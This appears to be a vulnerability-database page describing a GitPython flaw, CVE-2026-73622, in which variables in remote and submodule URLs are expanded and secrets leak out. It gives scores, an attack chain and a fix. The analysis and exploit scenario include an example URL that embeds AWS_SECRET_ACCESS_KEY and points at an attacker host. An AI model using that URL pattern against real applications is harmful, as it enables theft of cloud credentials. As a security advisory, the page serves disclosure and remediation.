Skip to main content

GitPython CVE-2026-73622

| EUVDEUVD-2026-57826 HIGH
Information Exposure (CWE-200)
2026-08-13 VulnCheck GHSA-9rmj-fh79-gf6w
Information Disclosure Gitpython Red Hat Suse
8.7
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Network-delivered crafted URL triggers server-side expansion with no authentication required; confidentiality-only impact as no code execution or data modification occurs.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 13, 2026 - 12:44 vuln.today
Analysis Generated
Aug 13, 2026 - 12:44 vuln.today
CVE Published
Aug 13, 2026 - 11:28 cve.org
HIGH 8.7

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on gitpython (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.55.

DescriptionCVE.org

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

AnalysisAI

Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Attacker supplies URL with env-var tokens
Delivery
Application calls Remote.create() or Submodule.add()
Exploit
polish_url() expands variables using hosting process environment
Execution
Expanded secret persisted to .git/config or .gitmodules
Persist
Application performs fetch or pull
Impact
Git client transmits secret-bearing URL to attacker-controlled host
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires three concurrent conditions: (1) the target application runs GitPython 3.1.53 or earlier and calls Repo.create_remote(), Remote.add(), or Submodule.add() with an attacker-influenced URL - common in platforms that allow users to register remote repositories, import submodules, or configure Git integrations; (2) the hosting process has sensitive values set as environment variables (cloud credentials, database URLs, API tokens) at the time URL processing occurs; and (3) the application subsequently performs a fetch or pull against the newly created remote, transmitting the expanded URL to the attacker's host. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) scores 8.7, reflecting high confidentiality impact with no special attack prerequisites - appropriate for deployments where applications accept user-supplied remote URLs without authentication or input validation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker targeting a self-hosted GitOps platform or CI/CD pipeline that permits users to register remote repository URLs crafts a URL embedding shell variable tokens - for example https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git - and submits it as the URL for a new remote or submodule. The GitPython-backed application calls Remote.create() or Submodule.add(), causing polish_url() to expand the token against the hosting process's live environment and write the resolved secret-bearing URL to .git/config or .gitmodules. …
Remediation The primary fix is to upgrade GitPython to version 3.1.55 or later; this release applies expand_vars=False to all attacker-influenceable URL processing paths in Remote.create() and Submodule.add(), fully closing the gap left by the prior fix. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, identify all applications and systems using GitPython and establish an inventory with current version numbers. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Gitpython

View all
CVE-2022-24439 CRITICAL POC
9.8 Dec 06

All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w
CVE-2023-40590 HIGH POC
7.8 Aug 28

GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability
CVE-2023-41040 MEDIUM POC
6.5 Aug 30

GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili
CVE-2023-40267 CRITICAL
9.8 Aug 11

GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. Rated critical severity (CVSS
CVE-2026-78676 CRITICAL
9.3 Aug 25

Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config
CVE-2026-67324 CRITICAL
9.3 Aug 01

Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-opti
CVE-2026-67325 HIGH
8.7 Aug 01

Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl
CVE-2026-67323 HIGH
8.6 Aug 01

Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control
CVE-2026-73625 HIGH
8.7 Aug 13

Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation lo
CVE-2026-76220 HIGH
8.7 Aug 19

Arbitrary OS command execution in GitPython before 3.1.58 is possible by bypassing the check_unsafe_options guard using

CVE-2026-78677 HIGH
8.7 Aug 25

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th
CVE-2026-76221 HIGH
8.7 Aug 19

Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution vi

Same weakness CWE-200 – Information Exposure

View all
CVE-2024-24919 HIGH POC
8.6
CVE-2016-6415 HIGH POC
7.5
CVE-2013-7331 MEDIUM POC
6.5
CVE-2025-31125 MEDIUM POC
5.3
CVE-2025-11749 CRITICAL POC
9.8
CVE-2017-16894 HIGH POC
7.5
CVE-2017-11165 CRITICAL POC
9.8
CVE-2020-3259 HIGH
7.5

Same technique Information Disclosure

View all
CVE-2019-2725 CRITICAL POC
9.8
CVE-2021-34523 CRITICAL POC
9.0
CVE-2013-2251 CRITICAL POC
9.8
CVE-2017-5638 CRITICAL POC
9.8
CVE-2025-24813 CRITICAL POC
9.8
CVE-2015-1701 HIGH POC
7.8
CVE-2017-0147 HIGH POC
7.5
CVE-2014-6324 HIGH POC
8.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

Share

CVE-2026-73622 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy